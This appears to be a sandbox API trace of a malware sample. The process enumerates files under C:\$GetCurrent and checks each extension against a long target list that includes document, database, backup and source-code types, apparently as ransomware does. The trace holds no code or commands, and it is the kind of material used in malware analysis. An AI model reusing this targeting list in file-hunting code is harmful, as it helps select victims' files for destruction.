	[0057.929] lstrcmpiW (lpString1=".js", lpString2="log") returned -1
	[0057.930] lstrlenW (lpString=".jsf") returned 4
	[0057.930] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".json") returned 5
	[0057.930] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1
	[0057.930] lstrlenW (lpString=".jsp") returned 4
	[0057.930] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".kdc") returned 4
	[0057.930] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".kmz") returned 4
	[0057.930] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".kwm") returned 4
	[0057.930] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".lasso") returned 6
	[0057.930] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1
	[0057.930] lstrlenW (lpString=".lbi") returned 4
	[0057.930] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".lgf") returned 4
	[0057.930] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".lgp") returned 4
	[0057.930] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1
	[0057.930] lstrlenW (lpString=".log") returned 4
	[0057.930] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0
	[0057.930] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0057.930] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32
	[0057.930] lstrlenW (lpString=".1cd") returned 4
	[0057.931] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".3ds") returned 4
	[0057.931] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".3fr") returned 4
	[0057.931] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".3g2") returned 4
	[0057.931] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".3gp") returned 4
	[0057.931] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".7z") returned 3
	[0057.931] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0057.931] lstrlenW (lpString=".accda") returned 6
	[0057.931] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".accdb") returned 6
	[0057.931] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".accdc") returned 6
	[0057.931] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".accde") returned 6
	[0057.931] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".accdt") returned 6
	[0057.931] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".accdw") returned 6
	[0057.931] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1
	[0057.931] lstrlenW (lpString=".adb") returned 4
	[0057.931] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".adp") returned 4
	[0057.931] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1
	[0057.931] lstrlenW (lpString=".ai") returned 3
	[0057.932] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1
	[0057.932] lstrlenW (lpString=".ai3") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ai4") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ai5") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ai6") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ai7") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ai8") returned 4
	[0057.932] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".anim") returned 5
	[0057.932] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1
	[0057.932] lstrlenW (lpString=".arw") returned 4
	[0057.932] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".as") returned 3
	[0057.932] lstrcmpiW (lpString1=".as", lpString2="log") returned -1
	[0057.932] lstrlenW (lpString=".asa") returned 4
	[0057.932] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".asc") returned 4
	[0057.932] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1
	[0057.932] lstrlenW (lpString=".ascx") returned 5
	[0057.932] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1
	[0057.932] lstrlenW (lpString=".asm") returned 4
	[0057.932] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".asmx") returned 5
	[0057.933] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1
	[0057.933] lstrlenW (lpString=".asp") returned 4
	[0057.933] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".aspx") returned 5
	[0057.933] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1
	[0057.933] lstrlenW (lpString=".asr") returned 4
	[0057.933] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".asx") returned 4
	[0057.933] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".avi") returned 4
	[0057.933] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".avs") returned 4
	[0057.933] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".backup") returned 7
	[0057.933] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1
	[0057.933] lstrlenW (lpString=".bak") returned 4
	[0057.933] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".bay") returned 4
	[0057.933] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".bd") returned 3
	[0057.933] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1
	[0057.933] lstrlenW (lpString=".bin") returned 4
	[0057.933] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".bmp") returned 4
	[0057.933] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".bz2") returned 4
	[0057.933] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0057.933] lstrlenW (lpString=".c") returned 2
	[0057.934] lstrcmpiW (lpString1=".c", lpString2="og") returned -1
	[0057.934] lstrlenW (lpString=".cdr") returned 4
	[0057.934] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".cer") returned 4
	[0057.934] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".cf") returned 3
	[0057.934] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1
	[0057.934] lstrlenW (lpString=".cfc") returned 4
	[0057.934] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".cfm") returned 4
	[0057.934] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".cfml") returned 5
	[0057.934] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1
	[0057.934] lstrlenW (lpString=".cfu") returned 4
	[0057.934] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".chm") returned 4
	[0057.934] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".cin") returned 4
	[0057.934] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".class") returned 6
	[0057.934] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1
	[0057.934] lstrlenW (lpString=".clx") returned 4
	[0057.934] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1
	[0057.934] lstrlenW (lpString=".config") returned 7
	[0057.934] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1
	[0057.934] lstrlenW (lpString=".cpp") returned 4
	[0057.935] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".cr2") returned 4
	[0057.935] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".crt") returned 4
	[0057.935] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".crw") returned 4
	[0057.935] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".cs") returned 3
	[0057.935] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1
	[0057.935] lstrlenW (lpString=".css") returned 4
	[0057.935] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".csv") returned 4
	[0057.935] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".cub") returned 4
	[0057.935] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".dae") returned 4
	[0057.935] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".dat") returned 4
	[0057.935] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".db") returned 3
	[0057.935] lstrcmpiW (lpString1=".db", lpString2="log") returned -1
	[0057.935] lstrlenW (lpString=".dbf") returned 4
	[0057.935] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".dbx") returned 4
	[0057.935] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".dc3") returned 4
	[0057.935] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0057.935] lstrlenW (lpString=".dcm") returned 4
	[0057.936] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".dcr") returned 4
	[0057.936] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".der") returned 4
	[0057.936] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".dib") returned 4
	[0057.936] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".dic") returned 4
	[0057.936] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".dif") returned 4
	[0057.936] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".divx") returned 5
	[0057.936] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0057.936] lstrlenW (lpString=".djvu") returned 5
	[0057.936] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0057.936] lstrlenW (lpString=".dng") returned 4
	[0057.936] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".doc") returned 4
	[0057.936] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".docm") returned 5
	[0057.936] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0057.936] lstrlenW (lpString=".docx") returned 5
	[0057.936] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0057.936] lstrlenW (lpString=".dot") returned 4
	[0057.936] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0057.936] lstrlenW (lpString=".dotm") returned 5
	[0057.936] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0057.936] lstrlenW (lpString=".dotx") returned 5
	[0057.937] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0057.937] lstrlenW (lpString=".dpx") returned 4
	[0057.937] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0057.937] lstrlenW (lpString=".dqy") returned 4
	[0057.937] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0057.937] lstrlenW (lpString=".dsn") returned 4
	[0057.937] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0057.937] lstrlenW (lpString=".dt") returned 3
	[0057.937] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0057.937] lstrlenW (lpString=".dtd") returned 4
	[0057.937] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0057.937] lstrlenW (lpString=".dwg") returned 4
	[0057.937] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0057.937] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0057.937] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0
	[0057.937] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0057.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3c40080 | out: hHeap=0x4f0000) returned 1
	[0057.938] FindNextFileW (in: hFindFile=0x5e0730, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0057.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3c40080
	[0057.939] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0630
	[0057.972] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0058.157] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0058.157] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0058.157] lstrlenW (lpString="GetCurrentRollback.ini") returned 22
	[0058.157] lstrlenW (lpString=".1cd") returned 4
	[0058.158] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".3ds") returned 4
	[0058.158] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".3fr") returned 4
	[0058.158] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".3g2") returned 4
	[0058.158] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".3gp") returned 4
	[0058.158] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".7z") returned 3
	[0058.158] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0058.158] lstrlenW (lpString=".accda") returned 6
	[0058.158] lstrcmpiW (lpString1=".accda", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".accdb") returned 6
	[0058.158] lstrcmpiW (lpString1=".accdb", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".accdc") returned 6
	[0058.158] lstrcmpiW (lpString1=".accdc", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".accde") returned 6
	[0058.158] lstrcmpiW (lpString1=".accde", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".accdt") returned 6
	[0058.158] lstrcmpiW (lpString1=".accdt", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".accdw") returned 6
	[0058.158] lstrcmpiW (lpString1=".accdw", lpString2="ck.ini") returned -1
	[0058.158] lstrlenW (lpString=".adb") returned 4
	[0058.158] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0058.158] lstrlenW (lpString=".adp") returned 4
	[0058.158] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai") returned 3
	[0058.159] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0058.159] lstrlenW (lpString=".ai3") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai4") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai5") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai6") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai7") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ai8") returned 4
	[0058.159] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".anim") returned 5
	[0058.159] lstrcmpiW (lpString1=".anim", lpString2="k.ini") returned -1
	[0058.159] lstrlenW (lpString=".arw") returned 4
	[0058.159] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".as") returned 3
	[0058.159] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0058.159] lstrlenW (lpString=".asa") returned 4
	[0058.159] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".asc") returned 4
	[0058.159] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0058.159] lstrlenW (lpString=".ascx") returned 5
	[0058.159] lstrcmpiW (lpString1=".ascx", lpString2="k.ini") returned -1
	[0058.159] lstrlenW (lpString=".asm") returned 4
	[0058.160] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".asmx") returned 5
	[0058.160] lstrcmpiW (lpString1=".asmx", lpString2="k.ini") returned -1
	[0058.160] lstrlenW (lpString=".asp") returned 4
	[0058.160] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".aspx") returned 5
	[0058.160] lstrcmpiW (lpString1=".aspx", lpString2="k.ini") returned -1
	[0058.160] lstrlenW (lpString=".asr") returned 4
	[0058.160] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".asx") returned 4
	[0058.160] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".avi") returned 4
	[0058.160] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".avs") returned 4
	[0058.160] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".backup") returned 7
	[0058.160] lstrcmpiW (lpString1=".backup", lpString2="ack.ini") returned -1
	[0058.160] lstrlenW (lpString=".bak") returned 4
	[0058.160] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".bay") returned 4
	[0058.160] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".bd") returned 3
	[0058.160] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0058.160] lstrlenW (lpString=".bin") returned 4
	[0058.160] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0058.160] lstrlenW (lpString=".bmp") returned 4
	[0058.161] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".bz2") returned 4
	[0058.161] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".c") returned 2
	[0058.161] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0058.161] lstrlenW (lpString=".cdr") returned 4
	[0058.161] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".cer") returned 4
	[0058.161] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".cf") returned 3
	[0058.161] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0058.161] lstrlenW (lpString=".cfc") returned 4
	[0058.161] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".cfm") returned 4
	[0058.161] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".cfml") returned 5
	[0058.161] lstrcmpiW (lpString1=".cfml", lpString2="k.ini") returned -1
	[0058.161] lstrlenW (lpString=".cfu") returned 4
	[0058.161] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".chm") returned 4
	[0058.161] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".cin") returned 4
	[0058.161] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0058.161] lstrlenW (lpString=".class") returned 6
	[0058.161] lstrcmpiW (lpString1=".class", lpString2="ck.ini") returned -1
	[0058.161] lstrlenW (lpString=".clx") returned 4
	[0058.161] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".config") returned 7
	[0058.162] lstrcmpiW (lpString1=".config", lpString2="ack.ini") returned -1
	[0058.162] lstrlenW (lpString=".cpp") returned 4
	[0058.162] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".cr2") returned 4
	[0058.162] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".crt") returned 4
	[0058.162] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".crw") returned 4
	[0058.162] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".cs") returned 3
	[0058.162] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0058.162] lstrlenW (lpString=".css") returned 4
	[0058.162] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".csv") returned 4
	[0058.162] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".cub") returned 4
	[0058.162] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".dae") returned 4
	[0058.162] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".dat") returned 4
	[0058.162] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".db") returned 3
	[0058.162] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0058.162] lstrlenW (lpString=".dbf") returned 4
	[0058.162] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0058.162] lstrlenW (lpString=".dbx") returned 4
	[0058.163] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dc3") returned 4
	[0058.163] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dcm") returned 4
	[0058.163] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dcr") returned 4
	[0058.163] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".der") returned 4
	[0058.163] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dib") returned 4
	[0058.163] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dic") returned 4
	[0058.163] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".dif") returned 4
	[0058.163] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".divx") returned 5
	[0058.163] lstrcmpiW (lpString1=".divx", lpString2="k.ini") returned -1
	[0058.163] lstrlenW (lpString=".djvu") returned 5
	[0058.163] lstrcmpiW (lpString1=".djvu", lpString2="k.ini") returned -1
	[0058.163] lstrlenW (lpString=".dng") returned 4
	[0058.163] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".doc") returned 4
	[0058.163] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0058.163] lstrlenW (lpString=".docm") returned 5
	[0058.163] lstrcmpiW (lpString1=".docm", lpString2="k.ini") returned -1
	[0059.839] lstrlenW (lpString=".docx") returned 5
	[0059.839] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1
	[0059.839] lstrlenW (lpString=".dot") returned 4
